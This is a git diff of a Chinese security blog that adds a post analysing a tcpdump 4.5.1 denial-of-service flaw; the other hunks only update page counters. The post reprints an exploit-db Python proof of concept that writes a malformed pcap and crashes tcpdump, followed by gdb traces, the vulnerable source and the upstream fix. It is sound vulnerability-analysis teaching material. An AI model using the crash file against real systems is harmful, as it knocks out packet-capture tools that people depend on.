diff --git a/2000/01/01/hello-world/index.html b/2000/01/01/hello-world/index.html index e254fbf2..22d00ecd 100644 --- a/2000/01/01/hello-world/index.html +++ b/2000/01/01/hello-world/index.html @@ -558,7 +558,7 @@ - 15 + 16 日志 @@ -580,7 +580,7 @@
- 29 + 31 标签
@@ -651,7 +651,7 @@ - 41.4k + 44.8k diff --git a/2018/11/16/BIBA访问控制模型实现(python)/index.html b/2018/11/16/BIBA访问控制模型实现(python)/index.html index c4fbeab0..e8c2b707 100644 --- a/2018/11/16/BIBA访问控制模型实现(python)/index.html +++ b/2018/11/16/BIBA访问控制模型实现(python)/index.html @@ -730,7 +730,7 @@ - 15 + 16 日志 @@ -752,7 +752,7 @@
- 29 + 31 标签
@@ -839,7 +839,7 @@ - 41.4k + 44.8k diff --git a/2018/12/15/miio-control/index.html b/2018/12/15/miio-control/index.html index c045a139..33aa6878 100644 --- a/2018/12/15/miio-control/index.html +++ b/2018/12/15/miio-control/index.html @@ -632,7 +632,7 @@ - 15 + 16 日志 @@ -654,7 +654,7 @@
- 29 + 31 标签
@@ -741,7 +741,7 @@ - 41.4k + 44.8k diff --git a/2018/12/23/基于规则引擎发现IOT设备/index.html b/2018/12/23/基于规则引擎发现IOT设备/index.html index 7f0efdce..77ba925f 100644 --- a/2018/12/23/基于规则引擎发现IOT设备/index.html +++ b/2018/12/23/基于规则引擎发现IOT设备/index.html @@ -544,8 +544,8 @@
-
@@ -632,7 +632,7 @@ - 15 + 16 日志 @@ -654,7 +654,7 @@
- 29 + 31 标签
@@ -741,7 +741,7 @@ - 41.4k + 44.8k diff --git a/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html b/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html new file mode 100644 index 00000000..499e312e --- /dev/null +++ b/2018/12/25/TCPDUMP拒绝服务攻击漏洞/index.html @@ -0,0 +1,1429 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + TCPDUMP拒绝服务攻击漏洞 | 混元霹雳手 + + + + + + + + + + + + + + + + + + +
+
+ + + +
+
+
+
+ + +
+ + + + + + + + +
+ + + +
+ + + + + + + +
+ + + +

TCPDUMP拒绝服务攻击漏洞

+ + + +
+ + + + + +
+ + + + + +

TCPDUMP 4.5.1 拒绝服务攻击漏洞分析

Tcpdump介绍

    +
  1. tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统:包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中,tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump;它需要WinPcap驱动,相当于在Linux平台下的libpcap.
  2. +
  3. tcpdump能够分析网络行为,性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息,从而使用户能够进一步找出问题的根源。
  4. +
  5. 也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量,如Telnet或HTTP的数据包,查看登录的用户名、密码、网址、正在浏览的网站内容,或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁,而是对网络上的其他计算机的安全存在威胁。
  6. +
+

分析环境

    +
  • Ubuntu 16.04.4 LTS i686
  • +
  • tcpdump 4.5.1
  • +
  • gdb with peda
  • +
+

漏洞复现

这个漏洞触发的原因是,tcpdump在处理特殊的pcap包的时候,由于对数据包传输数据长度没有进行严格的控制,导致在连续读取数据包中内容超过一定长度后,会读取到无效的内存空间,从而导致拒绝服务的发生。对于这个漏洞,首先要对pcap包的结构进行一定的分析,才能够最后分析出漏洞的成因,下面对这个漏洞进行复现。

+

编译安装tcpdump

1
2
3
4
5
6
7
8
9
10
11
1.	# apt-get install libpcap-dev
2. # dpkg -l libpcap-dev
3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
5. # cd tcpdump-4.5.1/
6. # ./configure
7. # make
8. # make install
9. # tcpdump –-version
tcpdump version 4.5.1
libpcap version 1.7.4
+

生成payload(来自exploit-db payload)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS
from subprocess import call
from shlex import split
from time import sleep

def crash():
command = 'tcpdump -r crash'
buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
with open('crash', 'w+b') as file:
file.write(buffer)
try:
call(split(command))
print("Exploit successful! ")
except:
print("Error: Something has gone wrong!")
def main():
print("Author: David Silveiro ")
print(" tcpdump version 4.5.1 Access Violation Crash ")
sleep(2)
crash()
if __name__ == "__main__":
main()
+

崩溃分析

pcap包格式

首先来分析一下pcap包的格式,首先是pcap文件头的内容,在.h有所定义,这里将结构体以及对应变量含义都列出来。

1
2
3
4
5
6
7
8
9
struct pcap_file_header {
bpf_u_int32 magic;
u_short version_major;
u_short version_minor;
bpf_int32 thiszone; /* gmt to local correction */
bpf_u_int32 sigfigs; /* accuracy of timestamps */
bpf_u_int32 snaplen; /* max length saved portion of each pkt */
bpf_u_int32 linktype; /* data link type (LINKTYPE_*) */
};

+

看一下各字段的含义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 magic:   4字节 pcap文件标识 目前为“d4 c3 b2 a1”
major: 2字节 主版本号 #define PCAP_VERSION_MAJOR 2
minor: 2字节 次版本号 #define PCAP_VERSION_MINOR 4
thiszone:4字节 时区修正 并未使用,目前全为0
sigfigs: 4字节 精确时间戳 并未使用,目前全为0
snaplen: 4字节 抓包最大长度 如果要抓全,设为0x0000ffff(65535),
tcpdump -s 0就是设置这个参数,缺省为68字节
linktype:4字节 链路类型 一般都是1:ethernet

struct pcap_pkthdr {
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /* length this packet (off wire) */
};
struct timeval {
long tv_sec; /* seconds (XXX should be time_t) */
suseconds_t tv_usec; /* and microseconds */
};
ts: 8字节 抓包时间 4字节表示秒数,4字节表示微秒数
caplen:4字节 保存下来的包长度(最多是snaplen,比如68字节)
len: 4字节 数据包的真实长度,如果文件中保存的不是完整数据包,可能比caplen大

+

其中len变量是值得关注的,因为在crash文件中,对应len变量的值为00 3C 9C 37
这是一个很大的值,读取出来就是379C3C00,数非常大,实际上在wireshark中打开这个crash文件,就会报错,会提示这个数据包的长度已经超过了范围,而换算出来的长度就是379C3C00,这是触发漏洞的关键。

+

gdb调试

首先通过gdb运行tcpdump,用-r参数打开poc生成的crash,tcp崩溃,到达漏洞触发位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1.	Program received signal SIGSEGV, Segmentation fault.
2. [----------------------------------registers-----------------------------------]
3. EAX: 0x1
4. EBX: 0x81e33bd --> 0x0
5. ECX: 0x2e ('.')
6. EDX: 0x0
7. ESI: 0xbfffe201 ('.' <repeats 14 times>)
8. EDI: 0xbfffe1db --> 0x30303000 ('')
9. EBP: 0x10621
10. ESP: 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>: mov ecx,DWORD PTR [esp+0xc])
11. EIP: 0x8053c6a (<hex_and_ascii_print_with_offset+106>: movzx edx,BYTE PTR [ebx+ebp*2+0x1])
12. EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
13. [-------------------------------------code-------------------------------------]
14. 0x8053c5d <hex_and_ascii_print_with_offset+93>: je 0x8053d40 <hex_and_ascii_print_with_offset+320>
15. 0x8053c63 <hex_and_ascii_print_with_offset+99>: mov ebx,DWORD PTR [esp+0x18]
16. 0x8053c67 <hex_and_ascii_print_with_offset+103>: sub esp,0x4
17. => 0x8053c6a <hex_and_ascii_print_with_offset+106>: movzx edx,BYTE PTR [ebx+ebp*2+0x1]
18. 0x8053c6f <hex_and_ascii_print_with_offset+111>: movzx ecx,BYTE PTR [ebx+ebp*2]
19. 0x8053c73 <hex_and_ascii_print_with_offset+115>: push edx
20. 0x8053c74 <hex_and_ascii_print_with_offset+116>: mov ebx,edx
21. 0x8053c76 <hex_and_ascii_print_with_offset+118>: mov DWORD PTR [esp+0x18],edx
22. [------------------------------------stack-------------------------------------]
23. 0000| 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>: mov ecx,DWORD PTR [esp+0xc])
24. 0004| 0xbfffe1b0 --> 0xb7fff000 --> 0x23f3c
25. 0008| 0xbfffe1b4 --> 0x1
26. 0012| 0xbfffe1b8 --> 0x2f5967 ('gY/')
27. 0016| 0xbfffe1bc --> 0x0
28. 0020| 0xbfffe1c0 --> 0x0
29. 0024| 0xbfffe1c4 --> 0x7ffffff9
30. 0028| 0xbfffe1c8 --> 0x81e33bd --> 0x0
31. [------------------------------------------------------------------------------]
32. Legend: code, data, rodata, value
33. Stopped reason: SIGSEGV
34. hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,
35. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91
36. 91 s2 = *cp++;

+

从崩溃信息来看,出错位置为s2 = cp++;崩溃原因为SIGSEGV,即进程执行了一段无效的内存引用或发生段错误。可以看到,问题出现在./print-ascii.c:91,而且此时指针读取[ebx+ebp2+0x1]的内容,可能是越界读取造成的崩溃。
再结合源码信息可知,指针cp在自加的过程中访问到了一个没有权限访问的地址,因为这是写在一个while循环里,也就是是说nshorts的值偏大,再看nshorts怎么来的,由此nshorts = length / sizeof(u_short);可知,可能是函数传入的参数length没有控制大小导致,因此目标就是追踪length是如何传入的。
我们通过bt回溯一下调用情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
1.	gdb-peda$ bt
2. #0 hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,
3. length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91
4. #1 0x08053e26 in hex_and_ascii_print (ident=0x80c04af "\n\t", cp=0x81e33bd "", length=0xfffffff3) at ./print-ascii.c:127
5. #2 0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 <Gndo>, h=0xbfffe40c, p=<optimized out>) at ./print-802_15_4.c:180
6. #3 0x080a0aea in print_packet (user=0xbfffe4dc " \023\036\b\300\034\005\b\001", h=0xbfffe40c, sp=0x81e33a8 "@\377")
7. at ./tcpdump.c:1950
8. #4 0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
9. #5 0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
10. #6 0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569
11. #7 0xb7de9637 in __libc_start_main (main=0x804a4c0 <main>, argc=0x3, argv=0xbffff6c4, init=0x80b1230 <__libc_csu_init>,
12. fini=0x80b1290 <__libc_csu_fini>, rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbffff6bc) at ../csu/libc-start.c:291
13. #8 0x0804c245 in _start ()

+

函数调用流程

1
2
3
4
pcap_loop
|----print_packet
|-----hex_and_ascii_print
|-------- hex_and_ascii_print_with_offset

+

由此可见,从main函数开始了一连串函数调用,git源码下来看看。
tcpdump.c找到pcap_loop调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1.	    do {
2. status = pcap_loop(pd, cnt, callback, pcap_userdata);
3. if (WFileName == NULL) {
4. /*
5. * We're printing packets. Flush the printed output,
6. * so it doesn't get intermingled with error output.
7. */
8. if (status == -2) {
9. /*
10. * We got interrupted, so perhaps we didn't
11. * manage to finish a line we were printing.
12. * Print an extra newline, just in case.
13. */
14. putchar('n');
15. }
16. (void)fflush(stdout);
17. }

+

设置断点之后查看一下该函数的执行结果

+

pcap_loop通过callback指向print_packet,来看一下它的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1.	static void
2. print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
3. {
4. struct print_info *print_info;
5. u_int hdrlen;
6. ++packets_captured;
7. ++infodelay;
8. ts_print(&h->ts);
9. print_info = (struct print_info *)user;
10. /*
11. * Some printers want to check that they're not walking off the
12. * end of the packet.
13. * Rather than pass it all the way down, we set this global.
14. */
15. snapend = sp + h->caplen;
16. if(print_info->ndo_type) {
17. hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);<====
18. } else {
19. hdrlen = (*print_info->p.printer)(h, sp);
20. }
21. putchar('n');
22. --infodelay;
23. if (infoprint)
24. info(0);}

+

同样设置断点看该函数是如何调用执行的

+

这是我们可以根据call的信息,计算出调用的函数名

+

其中(*print_info->p.ndo_printer)(print_info->ndo,h,sp)指向ieee802_15_4_if_print

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
25.	u_int
26. ieee802_15_4_if_print(struct netdissect_options *ndo,
27. const struct pcap_pkthdr *h, const u_char *p)
28. {
29. printf("address : %x\n",p);
30. u_int caplen = h->caplen; //传入的caplen,赋值给无符号整形变量caplen,且该值为8
31. int hdrlen;
32. u_int16_t fc;
33. u_int8_t seq;
34. if (caplen < 3) { //不满足
35. ND_PRINT((ndo, "[|802.15.4] %x", caplen));
36. return caplen;
37. }
38. fc = EXTRACT_LE_16BITS(p);
39. hdrlen = extract_header_length(fc);
40. seq = EXTRACT_LE_8BITS(p + 2);
41. p += 3;
42. caplen -= 3;//此时caplen = 5
43. ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
44. if (vflag)
45. ND_PRINT((ndo,"seq %02x ", seq));
46. if (hdrlen == -1) {
47. ND_PRINT((ndo,"malformed! "));
48. return caplen;
49. }
50. if (!vflag) {
51. p+= hdrlen;
52. caplen -= hdrlen;
53. } else {
54. u_int16_t panid = 0;
55. switch ((fc >> 10) & 0x3) {
56. case 0x00:
57. ND_PRINT((ndo,"none "));
58. break;
59. case 0x01:
60. ND_PRINT((ndo,"reserved destination addressing mode"));
61. return 0;
62. case 0x02:
63. panid = EXTRACT_LE_16BITS(p);
64. p += 2;
65. ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
66. p += 2;
67. break;
68. case 0x03:
69. panid = EXTRACT_LE_16BITS(p);
70. p += 2;
71. ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
72. p += 8;
73. break;
74. }
75. ND_PRINT((ndo,"< ");
76. switch ((fc >> 14) & 0x3) {
77. case 0x00:
78. ND_PRINT((ndo,"none "));
79. break;
80. case 0x01:
81. ND_PRINT((ndo,"reserved source addressing mode"));
82. return 0;
83. case 0x02:
84. if (!(fc & (1 << 6))) {
85. panid = EXTRACT_LE_16BITS(p);
86. p += 2;
87. }
88. ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
89. p += 2;
90. break;
91. case 0x03:
92. if (!(fc & (1 << 6))) {
93. panid = EXTRACT_LE_16BITS(p);
94. p += 2;
95. }
96. ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
97. p += 8;
98. break;
99. }
100. caplen -= hdrlen;
101. }
+

传入的第二个值是struct pcap_pkthdr *h结构体,函数使用的参数caplen就是结构体中的caplen,不难看出,caplen进行一些加减操作后,没有判断正负,直接丢给了下一个函数使用。
直接跟进函数,看看最后赋值情况

+

从源码和调试信息可以看到libpcap在处理不正常包时不严谨,导致包的头长度hdrlen竟然大于捕获包长度caplen,并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数,导致caplen==0xfffffff3过长。
继续跟进hex_and_asciii_print(ndo_default_print)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1.	void
2. hex_and_ascii_print(register const char *ident, register const u_char *cp,
3. register u_int length)
4. {
5. hex_and_ascii_print_with_offset(ident, cp, length, 0);
6. }

其中length==0xfffffff3,继续执行
1. void
2. hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,
3. register u_int oset)
4. {
5. register u_int i, s;
6. register int nshorts;
7.
8. nshorts = (u_int) length / sizeof(u_short);
9. i = 0;
10. while (--nshorts >= 0) {
11. if ((i++ % 8) == 0) {
12. (void)printf("%s0x%04x: ", ident, oset);
13. oset += HEXDUMP_BYTES_PER_LINE;
14. }
15. s = *cp++; <======= 抛出错误位置
16. (void)printf(" %02x%02x", s, *cp++);
17. }
18. if (length & 1) {
19. if ((i % 8) == 0)
20. (void)printf("%s0x%04x: ", ident, oset);
21. (void)printf(" %02x", *cp);
22. }
nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2=‭7FFFFFF9‬‬‬‬
+

但数据包数据没有这么长,导致了crash。

+

内存分析

仔细分析之后发现,通过len判断的这个长度并没有进行控制,如果是自己构造的一个超长len的数据包,则会连续读取到不可估计的值。
通过查看epx的值来看一下这个内存到底开辟到什么位置

1
2
3
4
1.	gdb-peda$ x/10000000x 0x81e33bd
2. 0x8203fdd: 0x00000000 0x00000000 0x00000000 0x00000000
3. 0x8203fed: 0x00000000 0x00000000 0x00000000 0x00000000
4. 0x8203ffd: Cannot access memory at address 0x8204000

+

可以看到,到达0x 8204000附近的时候,就是无法读取的无效地址了,那么初始值为0x 81e33bd,用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40,因为ebx+ebp*2+0x1一次读取两个字节,那么循环计数器就要除以2,最后结果为0x 10620。
来看一下到达拒绝服务位置读取的长度:EBX: 0x81e33bd –> 0x0;EBP: 0x10621;
EBP刚好为10621。正是不可读取内存空间的地址,因此造成拒绝服务。

+

漏洞总结

总结一下整个漏洞触发过程,首先tcpdump会读取恶意构造的pcap包,在构造pcap包的时候,设置一个超长的数据包长度,tcpdump会根据len的长度去读取保存在内存空间数据包的内容,当引用到不可读取内存位置时,会由于引用不可读指针,造成拒绝服务漏洞。

+

漏洞修补

Libpcap依然是apt安装的默认版本,tcpdump使用4.7 .0-bp版本
在hex_and_ascii_print_with_offset中增加对caplength的判断

1
2
3
4
5
6
7
8
9
1.	caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;
2. if (length > caplength)
3. length = caplength;
4. nshorts = length / sizeof(u_short);
5. i = 0;
6. hsp = hexstuff; asp = asciistuff;
7. while (--nshorts >= 0) {
8. ...
9. }

+

可以看到执行完caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;,caplength为0,继续执行,可以推出length同样为0,到这里已经不会发生错误了。

+

参考

exploit-db payload
WHEREISK0SHL分析博客
libpcap/tcpdump源码

+ + +
+ + + + + + + +
+
+
您的支持将鼓励我继续创作!
+ + +
+ +
+ + + + + +
+ + + +
+ + + +
+ +
+
+ + +
+ + + + + + +
+ +
+ +
+ + + + + +
+ + + + + + + + + +
+
+ + + + +
+ + +
+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html index 92170cec..044e1623 100644 --- a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html +++ b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html @@ -662,8 +662,8 @@ Server -------wire----------|
-
@@ -760,7 +760,7 @@ Server -------wire----------| - 15 + 16 日志
@@ -782,7 +782,7 @@ Server -------wire----------|
- 29 + 31 标签
@@ -869,7 +869,7 @@ Server -------wire----------| - 41.4k + 44.8k diff --git a/2019/02/22/qq数据库的加密解密/index.html b/2019/02/22/qq数据库的加密解密/index.html index 0db1c623..8d362bb4 100644 --- a/2019/02/22/qq数据库的加密解密/index.html +++ b/2019/02/22/qq数据库的加密解密/index.html @@ -609,7 +609,7 @@ - 15 + 16 日志 @@ -631,7 +631,7 @@
- 29 + 31 标签
@@ -718,7 +718,7 @@ - 41.4k + 44.8k diff --git a/2019/03/16/小米固件工具mkxqimage/index.html b/2019/03/16/小米固件工具mkxqimage/index.html index d34581a6..cb278a67 100644 --- a/2019/03/16/小米固件工具mkxqimage/index.html +++ b/2019/03/16/小米固件工具mkxqimage/index.html @@ -616,7 +616,7 @@ - 15 + 16 日志 @@ -638,7 +638,7 @@
- 29 + 31 标签
@@ -725,7 +725,7 @@ - 41.4k + 44.8k diff --git a/2019/03/23/auto-send-WX/index.html b/2019/03/23/auto-send-WX/index.html index 1b691a0d..02c41077 100644 --- a/2019/03/23/auto-send-WX/index.html +++ b/2019/03/23/auto-send-WX/index.html @@ -626,7 +626,7 @@ - 15 + 16 日志 @@ -648,7 +648,7 @@
- 29 + 31 标签
@@ -735,7 +735,7 @@ - 41.4k + 44.8k diff --git a/2019/03/25/Samba-CVE/index.html b/2019/03/25/Samba-CVE/index.html index f61b7732..3c0408f9 100644 --- a/2019/03/25/Samba-CVE/index.html +++ b/2019/03/25/Samba-CVE/index.html @@ -651,7 +651,7 @@ - 15 + 16 日志 @@ -673,7 +673,7 @@
- 29 + 31 标签
@@ -760,7 +760,7 @@ - 41.4k + 44.8k diff --git a/2019/03/28/逆向工程实验/index.html b/2019/03/28/逆向工程实验/index.html index 266ab544..be000b10 100644 --- a/2019/03/28/逆向工程实验/index.html +++ b/2019/03/28/逆向工程实验/index.html @@ -754,7 +754,7 @@ - 15 + 16 日志 @@ -776,7 +776,7 @@
- 29 + 31 标签
@@ -863,7 +863,7 @@ - 41.4k + 44.8k diff --git a/2019/04/15/Caving-db-storage/index.html b/2019/04/15/Caving-db-storage/index.html index 48c510ee..e7eb6f7e 100644 --- a/2019/04/15/Caving-db-storage/index.html +++ b/2019/04/15/Caving-db-storage/index.html @@ -675,7 +675,7 @@ - 15 + 16 日志 @@ -697,7 +697,7 @@
- 29 + 31 标签
@@ -784,7 +784,7 @@ - 41.4k + 44.8k diff --git a/2019/04/21/XIAOMI-UPnP/index.html b/2019/04/21/XIAOMI-UPnP/index.html index 3bd30cf1..ecfcd64c 100644 --- a/2019/04/21/XIAOMI-UPnP/index.html +++ b/2019/04/21/XIAOMI-UPnP/index.html @@ -798,7 +798,7 @@ - 15 + 16 日志 @@ -820,7 +820,7 @@
- 29 + 31 标签
@@ -907,7 +907,7 @@ - 41.4k + 44.8k diff --git a/2019/05/13/PE-file/index.html b/2019/05/13/PE-file/index.html index 56bac86f..55984e1a 100644 --- a/2019/05/13/PE-file/index.html +++ b/2019/05/13/PE-file/index.html @@ -718,7 +718,7 @@ - 15 + 16 日志 @@ -740,7 +740,7 @@
- 29 + 31 标签
@@ -827,7 +827,7 @@ - 41.4k + 44.8k diff --git a/2019/05/14/pack-and-unpack/index.html b/2019/05/14/pack-and-unpack/index.html index cd98188d..28eb3761 100644 --- a/2019/05/14/pack-and-unpack/index.html +++ b/2019/05/14/pack-and-unpack/index.html @@ -640,7 +640,7 @@ - 15 + 16 日志 @@ -662,7 +662,7 @@
- 29 + 31 标签
@@ -749,7 +749,7 @@ - 41.4k + 44.8k diff --git a/2019/07/01/AFL-first-learn/index.html b/2019/07/01/AFL-first-learn/index.html index 4b491495..004e277b 100644 --- a/2019/07/01/AFL-first-learn/index.html +++ b/2019/07/01/AFL-first-learn/index.html @@ -869,7 +869,7 @@ - 15 + 16 日志 @@ -891,7 +891,7 @@
- 29 + 31 标签
@@ -978,7 +978,7 @@ - 41.4k + 44.8k diff --git a/about/index.html b/about/index.html index b4b0b780..b52aa349 100644 --- a/about/index.html +++ b/about/index.html @@ -367,7 +367,7 @@ - 15 + 16 日志 @@ -389,7 +389,7 @@
- 29 + 31 标签
@@ -460,7 +460,7 @@ - 41.4k + 44.8k diff --git a/archives/2000/01/index.html b/archives/2000/01/index.html index 82d52cfb..ad092b85 100644 --- a/archives/2000/01/index.html +++ b/archives/2000/01/index.html @@ -299,7 +299,7 @@ - 嗯..! 目前共计 15 篇日志。 继续努力。 + 嗯..! 目前共计 16 篇日志。 继续努力。 @@ -397,7 +397,7 @@ - 15 + 16 日志 @@ -419,7 +419,7 @@
- 29 + 31 标签
@@ -490,7 +490,7 @@ - 41.4k + 44.8k diff --git a/archives/2000/index.html b/archives/2000/index.html index 00b71311..07bdcd7b 100644 --- a/archives/2000/index.html +++ b/archives/2000/index.html @@ -299,7 +299,7 @@ - 嗯..! 目前共计 15 篇日志。 继续努力。 + 嗯..! 目前共计 16 篇日志。 继续努力。 @@ -397,7 +397,7 @@ - 15 + 16 日志 @@ -419,7 +419,7 @@
- 29 + 31 标签
@@ -490,7 +490,7 @@ - 41.4k + 44.8k diff --git a/archives/2018/11/index.html b/archives/2018/11/index.html index 853c5263..1760322b 100644 --- a/archives/2018/11/index.html +++ b/archives/2018/11/index.html @@ -299,7 +299,7 @@ - 嗯..! 目前共计 15 篇日志。 继续努力。 + 嗯..! 目前共计 16 篇日志。 继续努力。 @@ -397,7 +397,7 @@ - 15 + 16 日志 @@ -419,7 +419,7 @@
- 29 + 31 标签
@@ -490,7 +490,7 @@ - 41.4k + 44.8k diff --git a/archives/2018/12/index.html b/archives/2018/12/index.html index 05134dd7..2baa7261 100644 --- a/archives/2018/12/index.html +++ b/archives/2018/12/index.html @@ -299,7 +299,7 @@ - 嗯..! 目前共计 15 篇日志。 继续努力。 + 嗯..! 目前共计 16 篇日志。 继续努力。 @@ -318,6 +318,41 @@ +
+
+ +

+ + + +

+ + + +
+
+ + + + + + + + + + + + + +
@@ -432,7 +467,7 @@ - 15 + 16 日志 @@ -454,7 +489,7 @@ @@ -525,7 +560,7 @@ - 41.4k + 44.8k diff --git a/archives/2018/index.html b/archives/2018/index.html index f58e81f7..f1db4943 100644 --- a/archives/2018/index.html +++ b/archives/2018/index.html @@ -299,7 +299,7 @@ - 嗯..! 目前共计 15 篇日志。 继续努力。 + 嗯..! 目前共计 16 篇日志。 继续努力。 @@ -318,6 +318,41 @@ + + + + + + + + + + + + + + +
@@ -467,7 +502,7 @@ - 15 + 16 日志 @@ -489,7 +524,7 @@ @@ -560,7 +595,7 @@ - 41.4k + 44.8k diff --git a/archives/2019/01/index.html b/archives/2019/01/index.html index e82f10c8..de6e4bfe 100644 --- a/archives/2019/01/index.html +++ b/archives/2019/01/index.html @@ -299,7 +299,7 @@ - 嗯..! 目前共计 15 篇日志。 继续努力。 + 嗯..! 目前共计 16 篇日志。 继续努力。 @@ -397,7 +397,7 @@ - 15 + 16 日志 @@ -419,7 +419,7 @@ @@ -490,7 +490,7 @@ - 41.4k + 44.8k diff --git a/archives/2019/02/index.html b/archives/2019/02/index.html index 1a52363a..06dc6e76 100644 --- a/archives/2019/02/index.html +++ b/archives/2019/02/index.html @@ -299,7 +299,7 @@ - 嗯..! 目前共计 15 篇日志。 继续努力。 + 嗯..! 目前共计 16 篇日志。 继续努力。 @@ -397,7 +397,7 @@ - 15 + 16 日志 @@ -419,7 +419,7 @@ @@ -490,7 +490,7 @@ - 41.4k + 44.8k diff --git a/archives/2019/03/index.html b/archives/2019/03/index.html index 7fbc8121..7fe65068 100644 --- a/archives/2019/03/index.html +++ b/archives/2019/03/index.html @@ -299,7 +299,7 @@ - 嗯..! 目前共计 15 篇日志。 继续努力。 + 嗯..! 目前共计 16 篇日志。 继续努力。 @@ -502,7 +502,7 @@ - 15 + 16 日志 @@ -524,7 +524,7 @@ @@ -595,7 +595,7 @@ - 41.4k + 44.8k diff --git a/archives/2019/04/index.html b/archives/2019/04/index.html index 2911cd8c..708a05fe 100644 --- a/archives/2019/04/index.html +++ b/archives/2019/04/index.html @@ -299,7 +299,7 @@ - 嗯..! 目前共计 15 篇日志。 继续努力。 + 嗯..! 目前共计 16 篇日志。 继续努力。 @@ -432,7 +432,7 @@ - 15 + 16 日志 @@ -454,7 +454,7 @@ @@ -525,7 +525,7 @@ - 41.4k + 44.8k diff --git a/archives/2019/05/index.html b/archives/2019/05/index.html index 7fbeccf9..180a0b44 100644 --- a/archives/2019/05/index.html +++ b/archives/2019/05/index.html @@ -299,7 +299,7 @@ - 嗯..! 